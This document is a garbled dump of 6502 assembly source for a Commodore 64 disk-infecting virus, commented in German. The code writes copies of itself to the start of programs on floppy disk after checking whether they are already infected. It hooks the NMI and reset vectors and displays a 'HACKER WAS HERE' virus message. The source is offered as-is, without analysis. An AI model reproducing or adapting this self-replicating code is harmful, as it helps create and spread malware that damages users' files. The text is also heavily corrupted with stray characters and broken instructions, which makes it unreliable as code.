;DISK..,Z.LDA #1..,D.JSR MEM.Y.4,N.LDA
#$90 ;_______BLOCK.WRITE.U,X.JSR OUT
UNL ;KOPIERE START..X,..JSR ASK ;
BLOCK NACH .ZTEN..,..LDX PUFFER ;GEFUN
DEN .IEN..,..LDY #0 ;BLOCK.., .LDA
#2.I,..JSR MEM.Y..,..LDA TRACK ;LESE
BLOCK EIN..,..JSR PAPA..-H.LDA SEC.R..-
R.JSR OUTUNL. -..LDX JOB.+-..LDY #0.6-..
LDA #1.D-..JSR MEM.Y.E-..LDA #$80 ;_
______BLOCK...T-..JSR OUTUNL..-..JSR ASK
..-".LDX PUFFER..-,.LDY #0..-6.LDA #2.H-
@.JSR MEM.Y ;SCHREIBE BLOCK AN..-J.LDA
VTRACK ;NEUE STELLE..-T.JSR PAPA...^.
LDA VSEC.BLOCKS.1...H.JSR OUTUNL.$.R.LDX
JOB./.|.LDY #0.:...LDA #1.H...JSR MEM.Y
.M...LDA #$90 ;_______BLOCK.WRITE.|.
..JSR OUTUNL.....JSR ASK.....LDX #0
;VIRUS AM ANFANG DES.S.B.STX COUNT
;PROGRAMMS EINBAUEN...L.LDA #.START.4...
V.STA X../..LDA #.START.4../..STA Y../..
LDA #0. /..STA Z.0/. JUMP8 LDX Z.</. LDY
ADR.A/. LDA #32 ;32 BYTES IN PUFFE
R.|/& JSR MEM.Y ;SCHREIBEN../0 JUMP7 L
DY Z../: LDA (X),Y../D JSR PAPA../N INC
Z../X LDA Z.I/B . #%11111.W/L BNE JUMP7.
./V JSR GARFIELD..0. LDA Z ;KOMP.
TER BLOCK IN.30. BNE JUMP8 ;PUFFER GE
SCHRIEBEN...A0. LDY COUNT.P0. BNE JUMP17
.V0. LDX #2 ;K.RIGIERE STARTADR...
0. LDY ADR ;IM ERSTEN BLOCK..0. LDA
#2..0F JSR MEM.Y..0P LDA BASICS.M0Z JSR
PAPA..0. LDA BASICS.1..0. JSR OUTUNL..0
. JUMP17 LDX #0..1.!LDY ADR.'1.!LDA #2
;LINKBYTES.C1.!JSR MEM.Y ;K.RIGIE
REN.R1 !LDA VTRACK._1*!JSR PAPA.M14!LDY
COUNT.|1>!LDA VSEC,Y..1H!JSR OUTUNL..1R!
LDX PUFFER ;BLOCK AUF DISK.H1\!LDY #0
;SCHREIBEN.S1F!LDA #2..1P!JSR MEM.
Y..1Z!LDY COUNT..1.!BNE JUMP11..2.!LDA T
RACK..2.!.BYTE $2C.02.!JUMP11 LDA VTRACK
.=2.!JSR PAPA.K2.!LDY COUNT.[2.!LDA SEC.
R,Y.J2J!JSR OUTUNL.V2T!LDX JOB..2.!LDY #
0..2.!LDA #1..2.!JSR MEM.Y..2.!LDA #$90
;_______BLOCK.WRITE.N2."JSR OUTUNL.Z
2."JSR ASK..2."CLC..2$"LDA X..2."ADC #25
4..38"STA X..3B"LDA Y..3L"ADC #0."3V"STA
Y.G3`"INC COUNT ;FALLS NOCH BLOECKE.
N3J"LDX COUNT ;ZU SCHREIBEN, WEITER.~
3T"CPX #BLOCKS..3~"BEQ BYE ;HIPPIE!
FERTIG SAN MA..3."JMP JUMP8.U3(#;WIRD EI
N VIRUS .IGELASSEN.....3*&BYE LDA #$60..
34&STA SEK..3>&JSR FJS..4H&LDA #$6F..4R&
STA SEK."4\&JSR S../4F&LDA #"I".>4P&JSR
OUTUNL.K4Z&LDX #$00.K4.&JUMP14 PLA ;SP
EICHERSTELC..4.&STA MEM,X ;RESTAURIER
EN..4.&INX..4.&CPX #14.BLOCKS..4.&BNE JU
MP14.A4.&LDX #$00.P4.&JUMP15 PLA..4J&STA
PAR,X..4T&INX..4.&CPX #$06..5.&BNE JUMP
15..5.&JSR CALL..5.&PLA.&5.&STA STATUS.I
5.'RTS ;VIRUSPROGRAMM .E.E5.';.
....IECOUT.UN.........Y5.'OUTUNL JSR PAP
A..5$'JMP GARFIELD..5.*;......BSELECT...
..........K5.+BSELECT ASL ;SELEKTIERT EI
NEN..5.+ASL ;TRACK DER BAM..5.+T
AX..5 +LDY #7..6*+LDA #4..64+JMP MEM.Y.5
6..;......STALK...............G6..STALK
LDA DEV.V6..JSR SASKIA.{6..LDA SEK ;
PRIMAER.&SEKUNDAER...6./JMP CHRISTINE;AD
RESSE TALK..6H2;......S................E
6R2S. LDA DEV.R6.2JSR NEMO..6.2LDA SEK
;PRIMAER.&SEKUNDAER...7.2JMP THOMAS
;ADRESSE .EN.37.6;......ASK.............
....S7.6ASK LDA #"R";UEBERPRUEFE OB.P7D6
STA DO ;JOB AN DISK..7N6A1 LDX #0
;SCH. AUSGEFUEHRT..7X6A2 NOP ;IST.
.7.6NOP..7.6NOP..7.6NOP.G7.7INX.R7.7BNE
A2..7.7LDX JOB..7.7LDY #0..7(7LDA #1..82
7JSR MEM.Y..8<7JSR GARFIELD.!8F7JSR STAL
K.-8P7JSR BHP.58Z7PHA.C8D7JSR SUHAL.K8N7
PLA.V8X7. #$80.Z8.7BNE A1 ;NEIN, DA
NN NOCHMAL..8.7LDA #"W"..8.7STA DO..8 7R
TS..8.:;......MEM.Y.AKKU.........N8.:MEM
.Y PHA ;"M-"...8.:TYA ;SPEICHER
STELLE DO...9.:PHA ;X...9.:TXA
;Y..-9J:PHA ;A.J9T:JSR S.
;AN FLOPPY S.EN.W9.:LDA #"M".D9.:JSR
PAPA.Q9.:LDA #"-".~9.:JSR PAPA..9.;LDA D
O..9.;JSR PAPA..9.;PLA..9$;JSR PAPA..9.;
PLA..98;JSR PAPA.H9B;PLA.U9L;JMP PAPA..9
.>;....IECLINK................:.>;IECBUS
.ROUTINEN UEBER LINK.$:.>;AUSFUEHREN.H:.
>BLACKBIRD JSR MAKE : JSR SETPAR.P:.>RTS
.S:.>HAC.OSH JSR MAKE : JSR SETNAME.{:.>
RTS..:.>HANS JSR MAKE : JSR IEC...:
.>RTS.G:F>THOMAS JSR MAKE : JSR SEK..
O:P>RTS..:Z>CHRISTINE JSR MAKE : JSR SEK
TALK..:.>RTS..;.>NEMO JSR MAKE : JS
R ..#;.>RTS.E;.?SASKIA JSR MAKE : JSR
TALK.M;.?RTS.N;.?GARFIELD JSR MAKE : J
SR UN..V; ?RTS..;*?SUHAL JSR MAKE :
JSR UNTALK..;4?RTS.F;>?PAPA JSR MAK
E : JSR IECOUT.N;H?RTS..;R?BHP JSR
MAKE : JSR IEC...;\?RTS..<F?FJS J
SR MAKE : JSR ..<P?RTS.<< N;..BETRIEBS.
TEM.AUFRUF..._<*NMAKE PHP ;PROZESS..R
EGISTER.W<4NPHA ;RETTEN.<>NTXA.
.<HNPHA..<RNTYA..<\NPHA..<FNTSX
;RUECKKEHR.ADRESSE.U<PNTXA ;BERE
CHNEN..<ZNCLC..<.NADC #5..<.NTAX..=.NLDA
$0100,X ;..=.NSTA MEM1 ;MERKEN.,=.NC
LC ;.L=.NADC #3 ;UND K.RIGI
EREN.\=.NSTA $0100,X.}=JNPHP ;DA
S GLEICHE MIT..=TNINX ;DEM LO.BY
TE..=.NPLP..=.NLDA $0100,X..=.NSTA MEM2.
J=.NADC #0.Z=.OSTA $0100,X..=.OLDY #3..=
.OM1 LDA (MEM1),Y..>$OSTA LINK.1,Y;PROGR
AMMTEIL NACH.;>.ODEY ;LINK KOPIE
REN.F>8OBNE M1.K>BOPLA ;REGISTER
REPARIEREN.S>LOTAY.{>VOPLA..>`OTAX..>JO
PLA..>TOPLP..>~OJMP LINK.4 ;UND AUSFUEH
REN.Q>0U;.......TEM................>:U.T
EM LDA $FFFA..?DUPHA ;NMI.VEK.R
RETTEN..?NULDA $FFFB ;.*?XUPHA
;.I?BULDA #..;UND AUF RTI SETZEN.[?LUST
A $FFFA ;.G?VULDA #...U?.USTA $FFFB..?
.ULDA MEM1 ;..?.UPHA ;..?.ULD
A MEM2 ;.N?.UPHA ;DIVERSE SPE
ICHER...?.ULDA MEM3 ;STELC RETTEN....
.@.UPHA ;..@FULDA MEM4 ;.%@PU
PHA ;.F@ZUTXA ;X.Y V.UEB
ERGEH..^@.UPHA ;RETTEN.F@.UTYA.N
@.UPHA..@.UJSR REINST ;ZEIGER UEBERPRUF
EN..@.UPLA ;X.Y WIEDER HOC..@.UT
AY.B@.UPLA.J@.UTAX.Y@.VLDA IRQP.1..@.VPH
A..@.VLDA IRQP..@.VPHA..A.VLDA #.IRQE ;
.ERRUPTS..A.VSTA IRQP ;ENTSCHAERFEN.=
A VLDA #.IRQE.LA*VSTA IRQP.1.[A4VLDA #.N
MIE.HA>VSTA NMIP.WAHVLDA #.NMIE..ARVSTA
NMIP.1..ASVTXA..ATVPHA ;X.Y RETT
EN..AUVTYA ;.NAVVPHA ;..
A\VTSX ;PARAMETER AUFG.D..BFVTXA
;DES STACKS BERECHNEN.(BPVCLC
;.:BZVADC #16 ;.BB.VTAX.JB.VC
LC.IB.VLDA $0100,X ;LO.ZEIGER HOC..B.VAD
C #1 ;RUECKSP.G NEU..B.VSTA MEM1
;BERECHNEN UND.BB.VSTA $0100,X ;SPEICHE
RN.TB.VPHP ;..BJVINX ;..
CTVPLP ;DAS GLEICHE MIT HI..C.VL
DA $0100,X ;..C.VADC #0 ;.@C.VSTA M
EM2 ;.RC.VSTA $0100,X ;.]C.WLDY #0.NC
.WLDA (MEM1),Y.{C.WCMP #128..C$WBEQ ....
C.WCMP #64..C8WBEQ ....CBWCMP #16..CLWBE
Q .NMI.FCTW.. JSR MAKE..C~WLDA NMITAH ;
NMI.TIMER ABFRAGE..C.WBEQ .. ;..D.WJSR
MAKE ;..D.WLDA NMITBH ;.&D.WBEQ ...@
D.WPLA ;REGISTER.^D.WTAY
;RESTAURIEREN.FD.WPLA.ND.WTAX..D.WPLA
;.ERUPTS WIEDER..D.WSTA IRQP ;
RE.GANISIERN..DDWPLA.CDNWSTA IRQP.1.RDXW
LDA #.NMI1..D.WSTA NMIP..D.WLDA #.NMI1..
D.WSTA NMIP.1..E(X.. PLA ;DIVERSE SPEICH
ER..2E2XSTA MEM4 ;STELC.NE<XPLA
;REPARIEREN.[EFXSTA MEM3.CEPXPLA.PEZX
STA MEM2.XEDXPLA..ENXSTA MEM1..EXXPLA
;NMIVEK.R REPARIEREN..E.XSTA $FFFB
..E.XPLA.NE.XSTA $FFFA.VE XRTS..E.Y;....
VIRUS...ROUTINE...L..F"Y.. LDY #1..F,YL
DA (BASICS),Y.7F6YBEQ .. ;UEBERPRUEFE O
B VIRUS.YF@YLDY #31 ;SCH. IM SPEICHE
R.NFJYLDX #26 ;IST..FTYL1 LDA (BASIC
S),Y..F^YCMP VIRUS,X..FHYBNE .. ;NEIN, D
ANN VERSEUCHE..FRYDEY.EF|YDEX.PF.YBNE L1
..F.YPLA ;.ADRESSE HOC..F.YSTA .
E.1..G.YPLA..G.YSTA .E.4G.YJSR MOVE ;
PROGRAMM IM SPEICHER.NGBYLDA .E ;VERSC
HIEBEN.VGLYPHA.MGVYLDA .E.1 ;.ADRESSE..G
.YPHA ;K.RIGIEREN..G.YJMP ....G.
};....VIRUS...ROUTINE.....MG.}.. LDA DEV
;UEBERPRUEFE..G.}CMP #$08 ;OB DE
VICE FLOPPY..H.}BCC .. ;IST..H(}JSR
DOIT.6H2}JMP .. ;PROGRAMM VERSEUCHEN.V
H..;....VIRUS.NMI.ROUTINE......HH...NMI
JSR MAKE..H..JSR . ;..TASTE GEDRUECKT.
.H..BNE .. ;...NEIN..H..JSR MAKE.GH..JSR
$FD15 ;VEK.REN SETZEN..H$.JSR REINST ;
VIRUS INIT..I..LDX #$01 ;STACK "PUTZEN
"..I8.TXS..IB.JSR MAKE.9IL.JMP $FE69 ;S
.DARTNMI V.SETZEN.YIP.;..VIRUS.RESET.ROU
TINE......OIZ..RESET JSR RELINK.ZI..LDX
#0..I..JSR MAKE..I..STX $D016 ;.GINAL.
N "RESET"..I..JSR MAKE.DI..JSR $FDA3.QI.
.LDA #$00.YI .TAY..I*..R STA $0002,Y..J4
.STA $0200,Y ;PAGE 0,2,3 LOESCHEN.!J>.ST
A $0300,Y.)JH.INY.4JR.BNE .R.CJ\.JSR REL
INK.PJF.JSR MAKE.OJP.JSR $FD5F ;SPEICH
ER INIT.|JZ.JSR MAKE..J..JSR $FD15 ;VE
K.REN INIT..J..JSR REINST..J..JSR MAKE.Z
J..JMP $FCFB ;RESET N.MAL WEITER..J@.;
...VIRUS LINK PROGRAMM......KJ.EXTERN NO
P : NOP : NOP.;KT.RTS ;EXTEREN B
EFEHL AUSF..ZK^.JSR ROMRAM ;S.DART K.FI
G..GKH.JSR LINK.OKR.SEI..K|.IROMRAM PHP
;REGISTER RETTEN..K..PHA ;.EK..L
DA 1 ;OS UND IO EIN.AUS.OK..E. #7.
.K..IQUIT STA 1..K..PLA..K..PLP..KB.RTS.
.LL.I. JSR ..$LV.JSR .IT : .BYTE
128.,L..RTS.:L..I. JSR ..YL..JSR .IT
: .BYTE 64.AL..RTS..L..IBWS1 JSR
.IT : .BYTE 32..L..IBWS2 JMP BWS1..L.
.INMI1 JSR .IT : .BYTE 16.GL&.INMI2 J
MP NMI1.TL4.I.IT PHP..L>.PHA..LH.CHECK L
DA NMITAH..MR.. NMITBH ;NMI.TIMER ABFRA
GEN.!M\.BEQ CHECK.)MF.SEI.3MP.LDA 1.;MZ.
PHA.FM..LDA #0.PM..STA 1.]M..JSR .TEM.JM
..I.IT PLA.WM..JMP QUIT..M..INAME .F "*"
; FICAME..M( IRESET LDA #$2F : STA $00
.HM2 LDA #$00 : STA $01.WM< JMP .RESET.
.MG.;.............................NH.. R
TI ;NMI.RUECKSP.G.3NACROMRAM . IROMRAM.
EXTERN.LINK.PNBC.IT . I.IT .EXTERN.LINK
.MNCC.IT . I.IT .EXTERN.LINK..NDCRESET
. IRESET .EXTERN.LINK..NECBWS2 . IBWS
2 .EXTERN.LINK.PNFCBWS1 . IBWS1 .EXT
ERN.LINK..NGCNMI2 . INMI2 .EXTERN.LIN
K..OHCNMI1 . INMI1 .EXTERN.LINK.-OIC.
. I. .EXTERN.LINK.HOJC. . I. .EXT
ERN.LINK.IOKCNAME . INAME .EXTERN.LIN
K..OLCQUIT . IQUIT .EXTERN.LINK..OMCR
ESETV .BYTE .RESET,.RESET..ONC.BYTE $5E,
$FE.YOOC.BYTE $C3,$C2,$CD,$38,$30..OPC;.
.....VIRUS.MELDET.SICH...C..PQCCALL LDA
$9D ;DIREKTMODUS.#PRCBPL C4.CPSCLDA $A2
;LOW.BYTE ZEIT.NPTCBPL C4.[PUCJSR M
AKE.YPVCLDA $D012 ;RASTERZEILE..PWCBP
L C4..PNCLDY #$00..PXCC3 LDA TEXT,Y..P.C
BEQ C1..P.CJSR MAKE..P.CJSR CHAROUT ;ZE
ICHENAUSGABE..P.CLDX #0..P.CC2 JSR MAKE.
.Q.CINC $D020 ;RAHMENFARBE..Q.CINX.(Q
HCBNE C2.0QRCINY.;Q.CJMP C3.NQ.CC1 LDX C
OUNTER.`Q.CLDA COUNTER.1.MQ.CJSR MAKE..Q
.CJSR $BDCD ;NUMMER AUSGEBEN..Q.CLDA
#13 ;CR..Q.DJSR MAKE.LQ.DJSR CHAROU
T ;AUSGEBEN..Q.DC4 INC COUNTER..Q.DBNE
C6..Q.DINC COUNTER.1..R.DC6 RTS..R.DTEXT
.BYTE 13.PR.D.F "DR.DR.STROBE&PAPA HACK
ER WAS HERE!" : .BYTE 13.{R"D.F "COPROGR
AMMER: GARFIELD" : .BYTE 13..R'D.BYTE 13
.BR(D.F "HALLO DICKERCHEN, DIES IST EIN
ECHTER" : .BYTE 13..R)D.F "VIRUS!" : .BY
TE 13,13..R,D.F "SERIALNO.:" : .BYTE 0..
S6DCOUNTER .W.D 0.4S.... 254.BLOCKS.STAR
T.2 : .. ..2.DS...BYTE $0,$0...
> CLICK IMAGE PREVIEW FOR FULL MODAL